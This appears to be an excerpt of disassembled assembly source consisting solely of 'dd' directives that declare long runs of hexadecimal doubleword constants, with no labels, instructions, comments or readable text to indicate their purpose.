		dd 110A420Ch, 1F16F013h, 8056672Ch, 0A4EBFED1h,	0A8004153h
		dd 8D08E0FFh, 498827h, 11EF477h, 0AEB76089h, 0A0A81174h
		dd 86FF33EEh, 0E3F12351h, 0D4BA78h, 437FE1BBh, 0C0B7308Ch
		dd 744E9318h, 4A16FC88h, 8A644D03h, 0C4E47220h,	0E62197A5h
		dd 3072E8E4h, 0F79A8200h, 0EEC1D67Dh, 85B015Ch,	9EF4EC21h
		dd 617D708Ch, 8902981Dh, 90E026F4h, 38BC008Fh, 2CFEFB74h
		dd 1800F890h, 9FEAB1B6h, 21C147h, 2F926AF1h, 7D5B1540h
		dd 0BC690200h, 967AB123h, 1611006Eh, 770E7F57h,	79001588h
		dd 1D2F8FA8h, 93869D5h,	941887B0h, 417AC4Ah, 3FEB1FDCh
		dd 8DEC84BAh, 24349193h, 10102C7Ch, 6709A0DBh, 24600889h
		dd 438AA781h, 0D72921EFh, 9588BD10h, 22796542h,	0A82FA103h
		dd 0A8998817h, 887FFC88h, 9688A29Fh, 84AD9013h,	8B485202h
		dd 24113042h, 589121D1h, 0E113C712h, 0E5029DFCh, 894AF310h
		dd 643708B3h, 21E95104h, 4F124DF9h, 0C8024410h,	0A642FD29h
		dd 217B2464h, 21120388h, 8963FB10h, 44450877h, 22843501h
		dd 23446142h, 4A7805FBh, 0D071F9EAh, 0FD667BD0h, 6180ED22h
		dd 22050888h, 791EE45Fh, 1A5E7100h, 2333757Dh, 386C5986h
		dd 50E29B00h, 840EAEE7h, 87449C00h, 1E9237BEh, 2F4BE686h
		dd 8805494h, 2D2AC3D4h,	5F6BFB03h, 0D0026846h, 89EC28h
		dd 0BACF6D83h, 0A436212Bh, 0B2AE58h, 8DB7E4A9h,	0FD178Eh
		dd 67C9DD04h, 479D928Ch, 28408516h, 2C141C00h, 4E3E2B1h
		dd 0EB10299Ch, 28541Eh,	48F679ADh, 72821Bh, 63E959D2h
		dd 22FE8838h, 0AF3A1273h, 83843886h, 0CFA0D3B6h, 0DD7ED07Ch
		dd 0F2450478h, 905D65F4h, 47B8BC7Ch, 2098C206h,	0C389017h
		dd 0AFDF310Ch, 9F00EDE9h, 2EB2F4B3h, 83E08Ah, 0BCB9FBBBh
		dd 95C2F931h, 0AFE7E200h, 6F2F01A6h, 0A8B0F3h, 7FA4BB30h
		dd 35AA82F0h, 0A7EDF800h, 0E70ECFABh, 34E80Ah, 0F3111DB0h
		dd 70494E26h, 0FB777D00h, 869EC2AEh, 9AEC0EB7h,	5A80B093h
		dd 0F731F55h, 0E1C6D003h, 809C382Ah, 64ED2Eh, 5DDA2581h
		dd 62733339h, 0D01F173Fh, 0E100EECAh, 0B0B7D35Ah, 0E74E5Eh
		dd 0D803A449h, 0F7DC2164h, 9700E57Ch, 0D6F562C1h, 245783D9h
		dd 20E7AEACh, 0C7124A90h, 3F5E4000h, 44F00D25h,	610A1800h
		dd 4B241E4Ah, 0E30014Ch, 95D30FAEh, 6FBDD05Ah, 0D615681Ch
		dd 0CF1E49C0h, 874C83h,	6CEEA544h, 0E03BD8BDh, 36BF421Eh
		dd 2BC29302h, 220FC06Bh, 52FD0073h, 475D7B2Ah, 53ECF8Eh
		dd 37F005Ah, 0AC831C46h, 2A7C1Ah, 956B34F5h, 0DCDB13F3h
		dd 9F112F00h, 8638AB96h, 62EC8Bh, 359ED0C8h, 29F7A588h
		dd 0BF56E500h, 8F2B840Fh, 0B7B812EDh, 59340239h, 86069672h
		dd 0C0933A91h, 37236100h, 0A7A1B02Ah, 8E684703h, 98AB84C1h
		dd 0A5D203h, 0A4086CC6h, 154183CBh, 8081D03Bh, 0BEB812CCh
		dd 38BB10D9h, 19E3268Ah, 67F029CBh, 827CB2A1h, 301CA500h
		dd 80B60F72h, 0FD75011Bh, 79693A5Eh, 0A125E474h, 0C6A26200h
		dd 48585C6Eh, 989400B8h, 59E417FDh, 84792A03h, 0A4216803h
		dd 0F8D67E2Ch, 0B8B293B1h, 2A830EA0h, 502C9F23h, 8BF85638h
		dd 30F7E000h, 0EF75C7E2h, 0F5D05DFh, 97F8E75Ah,	0FCE239DCh
		dd 8CE4C4DAh, 0B6B9A917h, 0E3BEC882h, 9B5FC0C4h, 0BBDA001Bh
		dd 0BFE617B3h, 2C9CF0A7h, 0CD84002Dh, 9A1B1C8Eh, 68D0092Ch
		dd 9C682292h, 2101D75Ch, 26304B4Ch, 5FE0950Ah, 3AAE982Ah
		dd 6600694Eh, 30AF3A8Ah, 0BC094614h, 0E56DE9h, 0FCA5DBB4h
		dd 0E3C20036h, 0C40248AFh, 94019659h, 3911161Fh, 0E9CCAC86h
		dd 4367C1Ch, 6A41A8C3h,	14AC94h, 0F50A9DE2h, 1722546h
		dd 1A6947F3h, 0D07C4F7Bh, 267B8865h, 0D217C770h, 0FE070FC6h
		dd 0A94FCBECh
		dd 4A120041h, 39DD62h, 0DFD0210h, 0FA6EDE3Dh, 5E9E5700h
		dd 0BB504E61h, 0DBDF00EBh, 6C95E801h, 0F2001A49h, 0AF861FE6h
		dd 0FE1B29h, 28CE5448h,	0ADA26A3Dh, 68B67A18h, 18F91D19h
		dd 11F531FFh, 87007E98h, 4FEBA023h, 0B4E5CFh, 0F22E3F5Bh
		dd 0EA56207Fh, 0FA8BBC04h, 54E02130h, 1C9E00CDh, 6881D5Bh
		dd 40FF3353h, 6A5A9BF4h, 99C93Dh, 5CA8E483h, 0F8DDD86h
		dd 89D97A62h, 0FCA508F9h, 3E173A7Fh, 40809159h,	431395h
		dd 2A0E8C66h, 70C2BB6Ch, 0F480EBB8h, 0C35064FCh, 511EC4B4h
		dd 33C0AD9Fh, 0A1D3ED07h, 681400BBh, 0BE98322h,	4C00DFCBh
		dd 6DBDF7A0h, 4979D7h, 577896AFh, 94DCC254h, 92B1500h
		dd 0D3FC3561h, 71F30005h, 28FD9ECEh, 0F00B1B9h,	53516639h
		dd 8BF655h, 901EFA92h, 8CFCB5BCh, 0CEC9403h, 1C42Eh, 0A9198028h
		dd 8B6A6344h, 34E69900h, 0D0FB27E4h, 6CF4063Fh,	0F081339Fh
		dd 1652E107h, 5A6B657h,	0AC2C00B4h, 6787A918h, 0B403784Bh
		dd 4D48A58Ch, 9A03B80Ah, 51D003Bh, 5F4A5443h, 420098BBh
		dd 143C2C7Ah, 0E63FEDCCh, 66CB011Fh, 96E1F017h,	95E2EC47h
		dd 8EEC4800h, 2439F631h, 93D0A8Fh, 0D8FB0Bh, 0F25270D3h
		dd 4B3829D1h, 4E027AE9h, 627905E6h, 0A0747002h,	0F2671946h
		dd 59710076h, 5D757246h, 7E001B5Bh, 85225674h, 2868CAA3h
		dd 10D8C2DFh, 0FCB2C94h, 201655ECh, 0EA1298BDh,	0B0B083h
		dd 0A6B4936Fh, 0A9EC58B3h, 0C65A2D00h, 0A0257908h, 0C1240077h
		dd 93A8191Dh, 4D1FAF9Eh, 0DD809A72h, 2B82146Ah,	0BE3100B1h
		dd 0BFA69FD4h, 0EFF423ECh, 46DCA900h, 4F06CE8Dh, 4057D9Ch
		dd 65902063h, 0BC8DC027h, 400A8EDh, 0CD8AABEFh,	13AA4CFCh
		dd 2F754Dh, 87EBDB66h, 0BA037F28h, 0A0C24D4h, 8EE2F168h
		dd 1CE830h, 343E5B9Eh, 29416697h, 6EBCA095h, 0F7404A4Fh
		dd 8B340889h, 4C9590E0h, 6DD5A700h, 66E0F454h, 0D9FB0085h
		dd 992A1679h, 7C00A3DFh, 27AF0C23h, 666F28h, 96063D13h
		dd 34B44FD2h, 0CE0FE898h, 0ABF8E3C8h, 73A68711h, 0E86CAD53h
		dd 16F26Eh, 1FD9EA5Fh, 644D9DCCh, 135D9B00h, 0C223F790h
		dd 417D26h, 0E6F6CE2h, 6BB214F6h, 400B5A00h, 0A98B6942h
		dd 2E7E02C2h, 0EC9B7B94h, 5036070h, 66FC444Ah, 253D80CCh
		dd 0D067010Bh, 6A2ED1D3h, 0ED343035h, 0E1A5460Fh, 90ACE02Dh
		dd 0B06DE7E6h, 51430056h, 0D10C1CBAh, 33E6A182h, 4D1637EAh
		dd 0D005E8h, 0EB85C84h,	7E316658h, 5E2B99CEh, 30168CC1h
		dd 0EE134444h, 0C010237Ah, 0E63C03D0h, 84526E6Dh, 23BC4A8h
		dd 61EF7B00h, 5C018376h, 0FA89741Dh, 0FB8A1D00h, 7BBB282Fh
		dd 72BA2E6Ah, 12D7001Ch, 0C8ABB977h, 0B3A2B200h, 0E9CECD8Bh
		dd 79E805FCh, 0B0BD0936h, 88017F30h, 3DFE75A6h,	92D8377Dh
		dd 26DCA0C8h, 0F88E008Dh, 0B9B33120h, 70488ABAh, 4DB802F0h
		dd 0F81DD6BBh, 1430F130h, 33C401C9h, 31B33908h,	191DE75Eh
		dd 0AF402A63h, 5590F48Fh, 5E237C38h, 0F888C05Ah, 4417FB42h
		dd 0E441EB67h, 0AF4A48B5h, 43F866C5h, 0CD0301AAh, 9940389Fh
		dd 97C0F614h, 0BB00ED56h, 8E575895h, 0E51132CEh, 80DEF03Ch
		dd 0CCC938BDh, 0DB2ADC27h, 5A0EBCA2h, 84EAD493h, 0E487D796h
		dd 7889h, 2D05E2B9h, 56F7E4C3h,	9AE7A607h, 0A44192BDh
		dd 9EF8C0B7h, 36C13B90h, 1FC48B81h, 50E6CE0Ch, 9F873BCh
		dd 818CC05Ch, 37196438h, 0C8003427h, 0DCB89B92h, 7F0F686Fh
		dd 20C9A9BBh, 0E605B685h, 9E876FFh, 0F8099E6Ah,	3B024A00h
		dd 963A0D5Ch, 0B0E70092h, 0B38822EBh, 1A360737h, 0A56C1958h
		dd 55DC0096h, 0EBA0835h, 878030C0h, 3CE54D5Dh, 0D1061F2Bh
		dd 0B07C733Ah, 0B129B03Ah, 0DE2539FBh, 185260h,	85AECAE5h
		dd 65C91C4Dh, 808C1ECFh, 0D6D33403h, 4E790060h,	75741ED2h
		dd 0C500BD97h, 9CAB2D5h, 7F5A31h, 6AA31986h, 73D34F79h
		dd 52DC2A04h, 0D8AC7871h, 0F4343160h, 7E4C4BE5h, 0CA430F20h
		dd 0DA8300B9h, 50AA1915h, 7682D818h, 58D274EBh,	7D3C8CEEh
		dd 7ACAF200h, 54E0F8F1h, 0E2FC9B00h, 81FDFE7Eh,	79EA74C8h
		dd 3FE6Bh, 0CE99D779h, 379CD67Dh, 3E15F40Ah, 4B008074h
		dd 0AD9DF190h, 0DA70008Bh, 0C095698Ch, 5006EBEh, 0F777639h
		dd 130ACE2h, 0BDBC9F18h, 0FBAA8997h, 0D138F2E0h, 0DF4E70Ch
		dd 77A502Ch, 11437850h,	3D1593h, 0A7DE3AC0h, 5D1FF1D4h
		dd 1C09F98h, 0F8172BC2h, 0E1E404h, 8930540Eh, 3603840Dh
		dd 4E1F7609h, 586900FCh, 48CADD3h, 6E949C34h, 0F0B868h
		dd 0C0184A70h, 159DDDCh, 9E532A32h, 874C032Ch, 0DEC35DD4h
		dd 54CEF511h, 131F4F4h,	0D72B155h, 0D47C75A3h, 0BF1B60CDh
		dd 0F1992CCh, 98389C2Eh, 47EF6960h, 9CB884E5h, 0B6419102h
		dd 78A8838Eh, 6D7984h, 0ECF2C935h, 8B20C5CEh, 0D6181900h
		dd 2476DEC1h, 72B8009Dh, 8835543Eh, 0C9071FE1h,	0D8BB34E2h
		dd 0EEF1C16Fh, 0C0CE05A1h, 1F8DF58h, 40DB5BE8h,	3EFFC8EAh
		dd 0A9C2700Eh, 30085067h, 0BCC65BB5h, 0BE005943h, 0B9A2FDF8h
		dd 0B8456C42h, 22C10080h, 41521A48h, 667CA3C5h,	0DF0E3700h
		dd 0E6152D0Fh, 23273AB9h, 0D500C338h, 0B37CCD9Eh, 5003D697h
		dd 99C2E387h, 1D3087ABh, 9ADF1BBh, 2ACBF8DAh, 0FB9ACC80h
		dd 0DD00B54Ah, 0E88C98C0h, 73ABC3h, 0BFB98AB7h,	0EC237924h
		dd 0E7D2A30Eh, 41B60532h, 0A9186ABCh, 0F31C21AFh, 0EA02A700h
		dd 0D8BAF242h, 7858017Fh, 0C9D7E568h, 8FC47094h, 125B9802h
		dd 0C1396BBFh, 4430C4FCh, 0B7090041h, 0A4493113h, 0D1025EF1h
		dd 0D3C8FEEBh, 0C01CC2D8h, 50B574h, 66953B9Bh, 8D6306F2h
		dd 0C01F7100h, 0FD41A3E9h, 0F7E11D6Eh, 2CFF4109h, 705AF8B7h
		dd 1B00CD8Bh, 372F1857h, 0FDD038h, 0C3070336h, 64E3F0D3h
		dd 8E581EFCh, 2DB70055h, 74B2A327h, 49950F34h, 0BA40DB10h
		dd 174216E5h, 0A1E78003h, 0D0230FE0h, 6066C7h, 53195A30h
		dd 0D4F25178h, 0CF0048F4h, 0D2A5B390h, 0BAAA91h, 0E07AD7D6h
		dd 30A1BDAEh, 38E10890h, 679C00E0h, 91BDE57h, 58F9035Ah
		dd 48F2737Ch, 0C4B477C9h, 0A524BEACh, 2A1D111Dh, 0AE925E40h
		dd 4EA8F96h, 80B1FF7Ah,	0E05D803Ch, 5800B9E1h, 56708916h
		dd 18823911h, 194E5E62h, 0DF002A15h, 740E0694h,	65BEC0Bh
		dd 0B8D0531Dh, 22186887h, 83C43665h, 0FE180011h, 2885AFB0h
		dd 81746914h, 5BD21E50h, 0E87B0E00h, 0DEFAF378h, 0EF4E0346h
		dd 187F8F3Eh, 0D3925AD0h, 9159E70Bh, 288A01D6h,	0D4E45594h
		dd 17150096h, 0DF97BF6Fh, 190031B6h, 4F42B5A2h,	16C50F0Dh
		dd 3A698Bh, 6C2AF8F4h, 70025F6h, 82EAC367h, 20E3823h, 0A770CE53h
		dd 0ECC0028Bh, 0A22DF946h, 4F0DD069h, 98809033h, 3900FED7h
		dd 60EA7E6Fh, 0C58A23h,	3AC637D9h, 0B78E331Eh, 0E9D30400h
		dd 600B2B6Ch, 21F676h, 9BB9B56h, 0F9F758A5h, 0F86FEC00h
		dd 0CA71F0FBh, 0AEC40065h, 57832793h, 2F0777F3h, 0CCDE48C1h
		dd 4E9085E0h, 0CB3D0317h, 0C86218A7h, 828BC1E0h, 2203BA00h
		dd 7A3357E8h, 0E90C006Ch, 1D31D4Eh, 0D0017230h,	0B41560F4h
		dd 0DC30FD7Dh, 0FC9D014Dh, 3E334BA9h, 605C34A6h, 79EF4105h
		dd 9B0097EAh, 0B487D199h, 37331C49h, 111F80B8h,	79E520F3h
		dd 567F7000h, 9CB32BBBh, 0EBAF00B6h, 7337CC57h,	690B870Fh
		dd 40C44C2Ch, 1BF194h, 1833EEDBh, 5796BF86h, 0BCD6AC1Fh
		dd 0A078DC8Fh, 439C7207h, 56AF26EDh, 7086008Ch,	0BFA7AAB4h
		dd 0A300FEE0h, 892B7DBCh, 684127Ch, 3D8E633Fh, 8600B875h
		dd 0A53961Dh, 1A5476Eh,	8DA3B9C6h, 6A1828AEh, 0FE34D042h
		dd 2AA068B3h, 91AB007Ch, 0AC3D16D5h, 0C4A4C39h,	40766880h
		dd 38A4016Fh, 2B294DBFh, 35E02AF9h, 51E0C062h, 0CA8A981Ch
		dd 3D928B01h, 0BEB555D7h, 98C176D4h, 24C3055Ch,	0C0AA1E54h
		dd 0A7A0E455h, 1741C000h, 0D22C7FADh, 0FA0B0EFBh, 0C720DF06h
		dd 7295C5E6h, 0FD003D7Bh, 252DC426h, 0B9AA53h, 0F8E96777h
		dd 129A86DCh, 0E7A78900h, 7EC0F3B8h, 0E26C1641h, 0DD5C005Bh
		dd 0DA334AEEh, 85493600h, 0FEE6EFDCh, 2EA91D41h, 1AC0012h
		dd 823ABEF8h, 0D5F02800h, 0A4FE91CFh, 369604DBh, 8051CE10h
		dd 6CD61608h, 0D71A4D03h, 0EB214C83h, 0E426F080h, 0DEC4C07Ah
		dd 0D32A8150h, 9A24B1Eh, 0BA46300h, 0C8B61F0h, 8A62F30Ch
		dd 750B3B10h, 1179C9h, 6AA440FCh, 66DE282Eh, 0C3B100CCh
		dd 5CB0E4B5h, 0F4EF8B51h, 103478Eh, 0A9F2150h, 532CC0BFh
		dd 848C2CBAh, 0F5070968h, 19A9C00h, 4A01C32Dh, 5C7F460Eh
		dd 206CB79Dh, 82107B84h, 48C0CE64h, 7C1660A3h, 0A800EE34h
		dd 86555049h, 8EF0CE52h, 90BA00F7h, 97E4EB3Dh, 0C9E84800h
		dd 0D7024E9Ch, 0DC92A2h, 1AD339A0h, 1CCE6781h, 0DA8834Eh
		dd 0C9588406h, 0A6061022h, 13033FEDh, 0CA800F0h, 0FE50A02h
		dd 9E002F5Ah, 2636B794h, 0FC4812h, 8E8D76D5h, 28099F9Ah
		dd 600FA52Dh, 6EB08Ch, 44C37C67h, 2BBE95B1h, 0BC277B00h
		dd 1F33472Eh, 0B08A0B34h, 0CF005967h, 2C44689Bh, 1D506D00h
		dd 800BAA47h, 1C460001h, 0B73EDF15h, 0FD2C7A0Dh, 2700B8A3h
		dd 605DDCCEh, 657F3D1Ch, 0C7F49B9Eh, 2489130Ch,	0F3458030h
		dd 2019D75h, 0E3E648EBh, 0C20722Ch, 7E170029h, 91F33D15h
		dd 0E04884C5h, 98007D88h, 0D6860A72h, 7ED19Ch, 95D7A8B1h
		dd 0C9A17AABh, 603C9800h, 7FBE82CFh, 801B4E25h,	0F9ECCA0Ch
		dd 7E47E200h, 2206952Fh, 0BD3C0019h, 0B2D242F6h, 0D609A443h
		dd 0F060A239h, 875F0034h, 55CEC0AEh, 8E0306EEh,	50037222h
		dd 77CDF1E5h, 9ABDF03Bh, 9E11B0A4h, 30CB781Ch, 0A21E24C4h
		dd 63C1BE8Eh, 4AB3BBF3h, 35C830h, 0C4F709ECh, 0D7E1029Eh
		dd 579C6F00h, 12AAE0FAh, 1CBE7483h, 0A7C4CEEDh,	18857400h
		dd 0E600E891h, 0DD82CC2Ch, 4CFE7C15h, 480B8C86h, 0CC878752h
		dd 4D25E053h, 2A026F50h, 6E6B4A60h, 76376164h, 3C1E7FE0h
		dd 280002D7h, 1059FADBh, 5A00F9E8h, 55FEE709h, 0FBD4D32h
		dd 237C8CBBh, 6F8B4BC1h, 276834F1h, 1731B014h, 889600DAh
		dd 5ED17DDCh, 0E0BC0FC2h, 77A0854Eh, 1155C30Fh,	63823B00h
		dd 862DAE9Dh, 0D8BD0479h, 80441493h, 95905B90h,	3CA5F305h
		dd 48EC4C50h, 0EFF07002h, 38D4111Ch, 0C0874E00h, 0BD02B16h
		dd 4C78BAACh, 3F004C50h, 2422B6DBh, 73BD792h, 341EE40Bh
		dd 0D6F3F0CAh, 0B400A25Bh, 0B3BE45A5h, 6D2090h,	0F2717AE1h
		dd 4CAB3254h, 0A704F41Ch, 4BD50EC1h, 10705B10h,	0F45579F9h
		dd 2357730h, 0B41B302h,	543FEAh, 0AE9E1501h, 4848378Ch
		dd 0D20B0C01h, 77B8E2DAh, 0FDA2B01Ah, 1C2C7CA0h, 1D7AC40Ch
		dd 4AF0A494h, 0A6C61603h, 306AC3Fh, 8158D139h, 59DE88A9h
		dd 848E9500h, 7551237Fh, 0EE7C0F55h, 0F2802560h, 0A4CBABBAh
		dd 9864472Ah, 1A3A9900h, 23373B08h, 2F141C35h, 0F848C20Fh
		dd 0FC7C364Fh, 30319F00h, 0F38590h, 284C3825h, 0A4688E9Ch
		dd 0B3518F19h, 0F1802304h, 8AB09DA0h, 901E271h,	56D77852h
		dd 242C4188h, 1DDB4CEh,	0E117E98Bh, 901ECBCAh, 0BA4CC027h
		dd 2D11F8h, 9EB98FA6h, 3CFA66A9h, 201F8A7h, 7409A34Ch
		dd 0E8AE8098h, 644C9BC9h, 0FDFF032Ch, 0CA8237EEh, 23E86085h
		dd 0F20A00D4h, 0C78C9D4Ah, 600C2248h, 59614CA1h, 70370C9Eh
		dd 7A116F44h, 0BA7CBBF8h, 380340A5h, 0E63DB8h, 0A4B0C678h
		dd 9D1189B1h, 0BBA94903h, 0F8A1E444h, 4ED53071h, 9C7044ABh
		dd 0E23CF087h, 0C44B107h, 0B920EBA1h, 0F5936Bh,	0DDD51F4Eh
		dd 5D87E9E0h, 3C1CBCh, 0AD831675h, 90438530h, 908BB794h
		dd 9410C078h, 721F840Dh, 10603F1Eh, 0BEAE8FD3h,	5FB0A500h
		dd 0CDC33711h, 287558FCh, 326E700h, 4AFA2A39h, 843C5D38h
		dd 0C4FE949Ch, 6DA04091h, 2DD0406Fh, 11213539h,	9001876h
		dd 0D512ED40h, 5D604E69h, 2B007C4Fh, 7484EC36h,	0F4009FDDh
		dd 0F2F8CE71h, 0A83D18F3h, 60B480A0h, 0FB193176h, 420006CFh
		dd 5E0A1A90h, 41F8838h,	0DE8FE483h, 62C1C38Ch, 6DBDA7D0h
		dd 0F43EA92Eh, 5922B880h, 0EF8217h, 0D367C424h,	6C47D9F7h
		dd 390B28EEh, 802CFD99h, 50F7178h, 0E1CF008Bh, 127D5041h
		dd 3B00EDDCh, 0B232BB94h, 908B9387h, 0C2360085h, 8D38C94Bh
		dd 0C4789165h, 460D800h, 0C5F26AEh, 0AF5B006Eh,	0B99F6786h
		dd 0A8005099h, 138568BCh, 19862h, 0E00933B7h, 3B5667BDh
		dd 0A78D6B09h, 1F260082h, 1DA37F6Ch, 0C1C3C2h, 0AD40A9BFh
		dd 0F25C23A1h, 5E007834h, 0A0D90322h, 16B31862h, 0E0736707h
		dd 19134A98h, 0D00001D3h, 0D5F05DCh, 82EA89E2h,	0FE032508h
		dd 0E854B7h, 14DDBABCh,	0E600C395h, 2DAA8C0Bh, 1F0423Bh
		dd 840EBEC5h, 7A43E27Ch, 1822E02Ah, 0B7669722h,	0BF4DB8A1h
		dd 0DDB440DAh, 0E2D48B3h, 0C390138Ah, 7A3E840h,	300305F9h
		dd 0ACD8B7E8h, 8B8111B0h, 53D9FA00h, 7691159Bh,	0B66E0F1Eh
		dd 75866CC0h, 591E4BF5h, 0BF1C5C7Dh, 0B02F81CCh, 6C36BC95h
		dd 0AA1D006Ch, 0ECEACBE2h, 4FDD00C2h, 4DA0A90Bh, 473D075Dh
		dd 29F80327h, 67A20Ah, 2F0D722Eh, 21FEE9C8h, 0DF07410Bh
		dd 378205Bh, 0A15D25h, 0F6928812h, 0DCD21E4Dh, 919ADB00h
		dd 665FA486h, 29141DEBh, 2E4A806Bh, 0CC8D3621h,	70C0855Eh
		dd 261A4C96h, 0C0E0A2BAh, 828B841h, 0EBC0DB03h,	0D057D1A6h
		dd 1F80EFh, 437F5A88h, 54459F23h, 40F8CD5Ah, 0D23EF500h
		dd 0B5F7F8A9h, 0A07E7B02h, 40F478B0h, 3708008h,	684CF2D4h
		dd 0E8C8E517h, 0C60EA3BCh, 20730EFFh, 0A19E3541h, 3FBF05CFh
		dd 400562E4h, 6C455380h, 0F007B9E7h, 0A8FB5ABh,	5496F02Ah
		dd 0AD8C4003h, 3D86F187h, 0F6F23864h, 0F0520945h, 10A05E1Dh
		dd 412E6E88h, 28AC264Ch, 0F298A172h, 2AB0FA04h,	0F880C71Ah
		dd 725DFh, 6771BD0Dh, 3C6AD416h, 7A709618h, 7290FE8h, 0E7F2740h
		dd 921B9599h, 12E22B30h, 0F067A862h, 2A030424h,	0AFC85F40h
		dd 0E3DAF0B0h, 65800708h, 33F3F6D3h, 0CEA007F8h, 66008A11h
		dd 0B292B490h, 0B182C84h, 0C0AC7F65h, 21894440h, 0E3006C71h
		dd 9927553Fh, 9A0169F9h, 45E4003Ch, 22A6CB56h, 68608B9Eh
		dd 1AD260D8h, 0D0731C7Bh, 0A2C3405Fh, 3D3177C5h, 21F5FC00h
		dd 0C4F0BACEh, 5EA10064h, 533EAE01h, 5DE82C11h,	0D119D600h
		dd 0BC5C69C0h, 0E8720041h, 6230EF45h, 817DD259h, 3824C339h
		dd 0FAD805DEh, 908DA2E6h, 5F2F087h, 0D00E24E7h,	5C7C5BB4h
		dd 0C8D8A43Ch, 4E1C0000h, 4561B12Bh, 0B4A12625h, 0D9A519AFh
		dd 900F0E97h, 4CC7E2EFh, 4715201Eh, 0F02466AAh,	651FC0B3h
		dd 408692h, 0D62DC6D0h,	0A77369h, 874B0292h, 0BCE6A418h
		dd 2F1640B0h, 887CEBA3h, 5FAE006Eh, 92F41B46h, 0D00647Ah
		dd 461D373h, 0E0502B7Ch, 7CBC6Ch, 3CB67D1Ch, 104BCC9h
		dd 4265D063h
		dd 6ED068C7h, 60D1B4B3h, 0CA81044h, 39023570h, 0D4102ECBh
		dd 0FF2C4843h, 98B5557Ch, 0AB10526Bh, 0DA208618h, 3F0100DBh
		dd 0E5C99F37h, 0B754CAD7h, 2C98978Ch, 0FC64A851h, 25E0D942h
		dd 67FC7700h, 0A70E9EC8h, 9F6105A4h, 0C0602AC5h, 0BD8835A1h
		dd 7084DF0Fh, 97C38086h, 1EF02379h, 92AC96A7h, 31E8001Bh
		dd 9AC441D4h, 0A2E96000h, 5872A4C2h, 0FEC700ECh, 0B3840FACh
		dd 5DFA81D5h, 7D4DEB00h, 0FA47A62Ch, 0F57238EDh, 0C9E1A780h
		dd 22DE03F8h, 6A336500h, 8ADAA3CAh, 6080BFC2h, 0EF2898A6h
		dd 8B89363Bh, 80C6CF25h, 3CF28CE2h, 0DDAD0701h,	0B0F03847h
		dd 0F54A0D9Eh, 0B6198102h, 57F7B179h, 37091400h, 0C939F416h
		dd 0C7DC8012h, 0DFF8D9B0h, 0AA9B244Fh, 0EDEC0062h, 7805E4E5h
		dd 13001D73h, 979883E1h, 1AFEBDEh, 3404DB8Eh, 61E212E5h
		dd 0D6A1CC80h, 970A3320h, 0D164001Dh, 0A0E1DA70h, 53EE070Eh
		dd 49E6009Fh, 4935F8A4h, 0BD7B7431h, 0CE050C03h, 0AFBE3898h
		dd 859BC102h, 0E8417FC3h, 12F66Ch, 7654022Bh, 4C4F2581h
		dd 15145CB0h, 1C9FC2E4h, 0B4A6588Eh, 0A4011A96h, 0D099D8EDh
		dd 0BF6E70h, 0BEA5997h,	0F230FEB2h, 6058B16Fh, 0BA88AE7Dh
		dd 79DC7C4Ah, 73182F71h, 9419080h, 0E001C593h, 35C89215h
		dd 0C070441Fh, 48E60031h, 868F257Ah, 0C92E4E21h, 0A01C667h
		dd 53F5936Ah, 52501D2Fh, 638C051Bh, 3F0F9E3h, 537ED827h
		dd 0B2A0D88Ah, 0AD6A004Eh, 55CF8E89h, 1107521Bh, 0D45B142Eh
		dd 5004DA7Bh, 0B8278740h, 948D02F2h, 88AAC0DDh,	0AEC97CEBh
		dd 2EE2D87Eh, 9C044098h, 0A8C95045h, 9112E8CAh,	0A020C0EDh
		dd 2816306Ah, 0C5006F55h, 0CB16C4EEh, 59642F0Eh, 0A81805h
		dd 0CAF21394h, 0EB006AE0h, 0E19690FDh, 57C8EB7h, 0C78ADE99h
		dd 7AB08848h, 0F44A8C01h, 3532A4BCh, 2D0A8080h,	0A7C95E3Fh
		dd 0B6219E02h, 0A5957C8Fh, 0D88326D8h, 0E749E07Ah, 0E6E32AC9h
		dd 6B8C01FCh, 0FF04EB3Ah, 96906340h, 0EB552080h, 524F07B9h
		dd 7929BFh, 9711CDE3h, 0C29AE404h, 90E8EF3Fh, 0A524C182h
		dd 7309A4D6h, 0DEF880A7h, 1DDF02F7h, 0C0F4F57Eh, 0D423254h
		dd 0EF5438C7h, 4A019A3Ch, 5D3DD2A6h, 0A068E3FEh, 0E8C94518h
		dd 0FC002B14h, 29C01710h, 2BA87B1h, 92B0B737h, 0CCC2AE74h
		dd 0C9E7059h, 8AB000E1h, 0E3B2BA35h, 0EF577B00h, 70E5E8A3h
		dd 9061006Fh, 38F9ACD2h, 87172386h, 40896DDh, 40D861D0h
		dd 0F6382026h, 0C43E1526h, 6C8C4B80h, 55218DC8h, 30DCAC23h
		dd 90CE6AFEh, 42FB4110h, 0DE4342Ch, 10CC48AAh, 0FB0BB303h
		dd 0F02D23D5h, 181D2B4Ah, 794184E6h, 3100A0FFh,	8846672Ch
		dd 54FD7FDh, 1134EDDDh,	3EB80B29h, 89CF6882h, 0C9F7A8A6h
		dd 3E016542h, 0C3EF62EEh, 680ADCE7h, 0C0E495Fh,	7520E085h
		dd 0AD0F77h, 510B4763h,	6D436A68h, 0DD545C1Eh, 0E0FE8FCEh
		dd 0EAFBA0C6h, 0B6F9132Fh, 0C04C1EE5h, 5817DC91h, 5400B17Eh
		dd 102AABA5h, 5A76866h,	62740220h, 9D57C352h, 9BABBAD8h
		dd 0EF3D091Fh, 0C145825h, 59697754h, 0D8004011h, 7681E132h
		dd 7A82F4F7h, 8D651EAFh, 56C38AA6h, 38B096A8h, 64404A8Ch
		dd 0D0A0B79Eh, 71DB8F4Dh, 80CD0F28h, 46F2058h, 0C8B68DAFh
		dd 0B7D400BBh, 42221E38h, 0CD6AF600h, 0FD32F1F7h, 257E0273h
		dd 53197DBAh, 86299468h, 0DE648000h, 9F17A734h,	0E6C10F9Eh
		dd 0B341D4B9h, 401DA837h, 881231DCh, 34E7AF00h,	0E4174114h
		dd 800BFC6h, 0A525BA9Eh, 0D1921900h, 0AD479ABBh, 0AB0C0A3h
		dd 451F4CCAh, 7960E300h, 6B17781Bh, 6FBF07F7h, 2F026AC6h
		dd 0DD8433C3h, 73007A7Ch, 9EC16E35h, 24473EDAh,	3E0D7763h
		dd 460FC787h, 6EE6B0F6h, 0A51C946Fh, 3AAC5E76h,	9CD0FC05h
		dd 930008ACh, 9407E2C7h, 0C00E5C2h, 1FEAAF91h, 22EAB8Ah
		dd 36B3A224h, 74D4BF20h, 9B68A104h, 9A0030E2h, 95BDA749h
		dd 7D3B0E72h, 237C02FEh, 744B8B28h, 0A01B80ECh,	70293F5Bh
		dd 2250A0B5h, 3D029B61h, 0D3808104h, 41A4604Fh,	1449AE16h
